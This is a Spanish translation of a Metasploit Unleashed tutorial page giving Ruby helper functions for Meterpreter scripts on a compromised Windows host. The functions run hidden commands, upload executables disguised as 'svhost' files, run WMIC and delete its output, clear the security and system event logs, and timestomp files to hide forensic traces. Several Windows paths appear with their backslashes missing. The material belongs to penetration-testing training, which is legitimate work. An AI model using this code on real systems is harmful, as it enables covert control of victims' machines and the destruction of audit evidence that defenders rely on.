Usando completamente las Funciones

Usando completamente las Funciones

Echemos un vistazo a algunas otras funciones que podrían ser útiles en la construcción de una secuencia de comandos Meterpreter. Siéntase libre de utilizar los mismos según sea necesario.

Función para la ejecución de una lista de comandos o de un solo comando y devuelve el resultado:

#-------------------------------------------------------------------------------

def list_exec(session,cmdlst)
   if cmdlst.kind_of? String
       cmdlst = cmdlst.to_a
   end
   print_status("Running Command List ...")
   r=''
   session.response_timeout=120
   cmdlst.each do |cmd|
       begin
           print_status "trunning command #{cmd}"
           r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
           while(d = r.channel.read)

               print_status("t#{d}")
           end
           r.channel.close
           r.close
       rescue ::Exception => e
           print_error("Error Running Command #{cmd}: #{e.class} #{e}")
       end
   end
end

Función de Control de la UAC:

#-------------------------------------------------------------------------------

def checkuac(session)
   uac = false
   begin
       winversion = session.sys.config.sysinfo
       if winversion['OS']=~ /Windows Vista/ or  winversion['OS']=~ /Windows 7/
           print_status("Checking if UAC is enaled ...")
           key = 'HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem'
           root_key, base_key = session.sys.registry.splitkey(key)
           value = "EnableLUA"
           open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
           v = open_key.query_value(value)
           if v.data == 1
               uac = true
           else
               uac = false
           end
           open_key.close_key(key)
       end
   rescue ::Exception => e
       print_status("Error Checking UAC: #{e.class} #{e}")
   end
   return uac
end

Funcion para subir archivos y ejecutable:

#-------------------------------------------------------------------------------

def upload(session,file,trgloc = nil)
   if not ::File.exists?(file)
           raise "File to Upload does not exists!"
       else
       if trgloc == nil
       location = session.fs.file.expand_path("%TEMP%")
       else
           location = trgloc
       end
       begin
           if file =~ /S*(.exe)/i
                      fileontrgt = "#{location}svhost#{rand(100)}.exe"
           else
                   fileontrgt = "#{location}TMP#{rand(100)}"
           end
           print_status("Uploadingd #{file}....")
           session.fs.file.upload_file("#{fileontrgt}","#{file}")
           print_status("#{file} uploaded!")
           print_status("#{fileontrgt}")
       rescue ::Exception => e
           print_status("Error uploading file #{file}: #{e.class} #{e}")
       end
   end
   return fileontrgt
end

Función para ejecutar una lista de WMIC comandos almacenados en una matriz, devuelve cadena:

#-------------------------------------------------------------------------------

def wmicexec(session,wmiccmds= nil)
       windr = ''
       tmpout = ''
       windrtmp = ""
       session.response_timeout=120
       begin
               tmp = session.fs.file.expand_path("%TEMP%")
               wmicfl = tmp + ""+ sprintf("%.5d",rand(100000))
               wmiccmds.each do |wmi|
                       print_status "running command wmic #{wmi}"
                       cmd = "cmd.exe /c %SYSTEMROOT%system32wbemwmic.exe"
                       opt = "/append:#{wmicfl} #{wmi}"
                       r = session.sys.process.execute( cmd, opt,{'Hidden' => true})
                       sleep(2)
                       #Making sure that wmic finnishes before executing next wmic command
                       prog2check = "wmic.exe"
                       found = 0
                       while found == 0
                               session.sys.process.get_processes().each do |x|
                                       found =1
                                       if prog2check == (x['name'].downcase)
                                               sleep(0.5)
                                                           print_line "."
                                               found = 0
                                       end
                               end
                       end
                       r.close
               end
               # Read the output file of the wmic commands
               wmioutfile = session.fs.file.new(wmicfl, "rb")
               until wmioutfile.eof?
                       tmpout << wmioutfile.read
               end
               wmioutfile.close
       rescue ::Exception => e
               print_status("Error running WMIC commands: #{e.class} #{e}")
       end
       # We delete the file with the wmic command output.
       c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
       c.close
       tmpout
end

Funcion de escritura de datos en archivos:

#-----------------------------------------------------

def filewrt(file2wrt, data2wrt)
       output = ::File.open(file2wrt, "a")
       data2wrt.each_line do |d|
               output.puts(d)
       end
       output.close
end

Funcion para borrar el administrador de sucesos (event logs:)

#-------------------------------------------------------------------------------

def clrevtlgs(session)
   evtlogs = [
       'security',
       'system',
       'application',
       'directory service',
       'dns server',
       'file replication service'
   ]
   print_status("Clearing Event Logs, this will leave and event 517")
   begin
       evtlogs.each do |evl|
           print_status("tClearing the #{evl} Event Log")
           log = session.sys.eventlog.open(evl)
           log.clear
       end
       print_status("Alll Event Logs have been cleared")
   rescue ::Exception => e
       print_status("Error clearing Event Log: #{e.class} #{e}")

   end
end

Función de Cambio de Tiempo de acceso, modificación y creación Tiempo, El Tiempo de archivos Se suministra en una matriz:

#-------------------------------------------------------------------------------

# The files have to be in %WinDir%System32 folder.
def chmace(session,cmds)
   windir = ''
   windrtmp = ""
   print_status("Changing Access Time, Modified Time and Created Time of Files Used")
   windir = session.fs.file.expand_path("%WinDir%")
   cmds.each do |c|
       begin
           session.core.use("priv")
           filetostomp = windir + "system32"+ c
           fl2clone = windir + "system32chkdsk.exe"
           print_status("tChanging file MACE attributes on #{filetostomp}")
           session.priv.fs.set_file_mace_from_file(filetostomp, fl2clone)

       rescue ::Exception => e
           print_status("Error changing MACE: #{e.class} #{e}")
       end
   end
end

© Offensive Security 2009

Original by www.offensive-security.com/metasploit-unleashed/
Traslated by tundervirld